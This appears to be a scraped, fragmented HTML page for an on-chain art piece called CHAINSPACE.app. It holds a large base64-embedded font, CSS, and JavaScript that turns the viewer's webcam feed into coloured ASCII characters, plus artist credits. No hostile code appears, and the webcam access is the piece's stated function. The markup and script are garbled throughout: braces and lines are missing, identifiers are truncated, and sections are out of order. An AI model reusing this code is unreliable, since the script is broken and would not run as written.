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) format('woff');
  font-weight: normal;
  font-style: normal;
    text-align: center;
    overflow: hidden;
    background: #eaeaea;
    align-items: center;
    justify-content: center;
  body.mobile #text-video {
    font-family: 'Noto Mathcastles Remix', monospace;
    pointer-events: none;
    justify-content: center;
    align-items: center;
    transform: scaleX(-1);
    -webkit-transform: scaleXM
    background: #ff9a72;
    font-size: 14px;
    justify-content: center;
    transform: scaleX(-1);
    -webkit-transform: scaleX(-1);
    cursor: pointer;
    justify-content: center;
    pointer-events: none;
    background: #fff;
    border: 1px solid #111;
    padding: 3px 10px;
    font-family: monospace;
    cursor: pointer;
    outline: inherit;
    border-radius: 3px;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    font-family: monospace;
    text-align: center;
    margin-top: 20px;
    margin-bottom: 4px;
    background: #222;
    border-radius: 20px;
    box-shadow: 0 0 16px 0 rgba(0, 0, 0, 0.5);
    margin-bottom: 0;
    font-size: 13px;
  <div id="wrapper">
      <video id="video">Portal is closed.</video>
      <canvas id="canvas-video"></canvas>
    <div id="frame">
      <div id="text-video"></div>
      <div id="header">
 You are the art in Chainspace.app
    <button id="stop">Wave</button>
    function run() {
      function isMobM
        return (typeof window.orientation !== "undefined") || (navigator.userAgent.indexOf('IEMobile') !== -1);
      const video = document.getElementById('video')
      video.setAttribute('autoplay', '');
      video.setAttribute('muted', '');
      video.setAttribute('playsinline', '')
      const textVideo = document.getElementById('text-video')
      const canvas = document.getElementById('canvas-video')
      const ctx = canvas.getContext('2d', { willReadFrequently: true });
      let cyclerEnabled = false;
      let cycler = 0;
      let isMobile = isMobileDevice();
      const chars = [..."
      const colors = ["#292c34", "#292c34", "#292c34", "#292c34", "#292c34", "#292c34", "#292c34", "#292c34", "#292c34", "#ff9a72", ];
      let running = true;
      function setCanvasSize() {
        w = Math.min(window.innerWidth, 450);
        h = Math.min(window.innerHeight, isMobileDevice() ? 600 : 450);
       height = Math.floor(h / 10);
        width = Math.floor(w / 6.9);
      let resizeTimeout;
      window.onresize = function () {
        clearTimeout(resizeTimeout);
        resizeTimeout = setTimeout(setCanvasSize, 100);
      const init = () => {
        setCanvasSize();
        document.body.classList.add(isMobile ? 'mobile' : null)
        navigator.mediaDevices.getUserMedia({ video: true, audio: false })
          .then(function (stream) {
            video.srcObject = stream;
          .catch(function (err) {
            running = false;
      const render = (ctx) => {
        if (width && height) {
          canvas.width = width;
          canvas.height = height;
          ctx.drawImage(video, 0, 0, width, height);
      const getPixelsGreyScale = (ctx) => {
        const imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
        const data = imageData.data;
        const res = M
new Array(height).fill(0).map(() => []);
        for (let i = 0, c = 0; i < data.length; i += 4) {
          const avg = (data[i] + data[i + 1] + data[i + 2]) / 3;
          let curr = res[row]
          curr.push(avg)
          if (c < width) {
          if (c === width) {
            row += 1
        if (isMobile) {
          return res.map(row => row.slice(row.length / 4, row.length - row.length / 4));
    const getCharByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (chars.length));
        return chars[val % chars.length];
      const getColorByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (colors.length));
        return colors[val % colors.length];
      const renderText = (node, textDarkScale) => {
        let gap = isMobileDevice() ? 15 : 10;
        const gridElem = document.createElement('div');
        gridElem.className = 'M
        gridElem.style.gridTemplateColumns = `repeat(${textDarkScale[0].length}, ${gap}px)`;
        gridElem.style.gridTemplateRows = `repeat(${textDarkScale.length}, ${gap}px)`;
        for (let i = 0; i < textDarkScale.length; i++) {
          for (let k = 0; k < textDarkScale[i].length; k++) {
            const textElem = document.createElement('p');
            textElem.style.color = getColorByScale(textDarkScale[i][k]);
            textElem.innerHTML = getCharByScale(textDarkScale[i][k]);
gridElem.appendChild(textElem);
        node.textContent = "";
        node.appendChild(gridElem);
      const frame = () => requestAnimationFrame(() => {
        const chars = getPixelsGreyScale(ctx)
        renderText(textVideo, chars)
        if (running) {
        if (cyclerEnabled) {
      document.getElementById('stop').addEventListener('click', (e) => {
   running = !running
        if (running) {
      document.getElementById('text-video').onclick = () => {
        cyclerEnabled = !cyclerEnabled;
    window.addEventListener('DOMContentLoaded', () => {
text/html;charset=utf-8
a hyperportal inscribed on-chain
enter at your own risk
Conjured by el_ranye x @timshelxyz
  * Mathcastles Studios (0x113d & xaltgeist)
  * Aleksandr Kubarskii
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width,user-scalable=no,initial-scale=1,maximum-scale=1,minimum-scale=1">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>CHAINSPACE.app</title>
  font-family: 'Noto Mathcastles Remix';
  src: url(data:application/font-woff2;charset=utf-8;base64,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
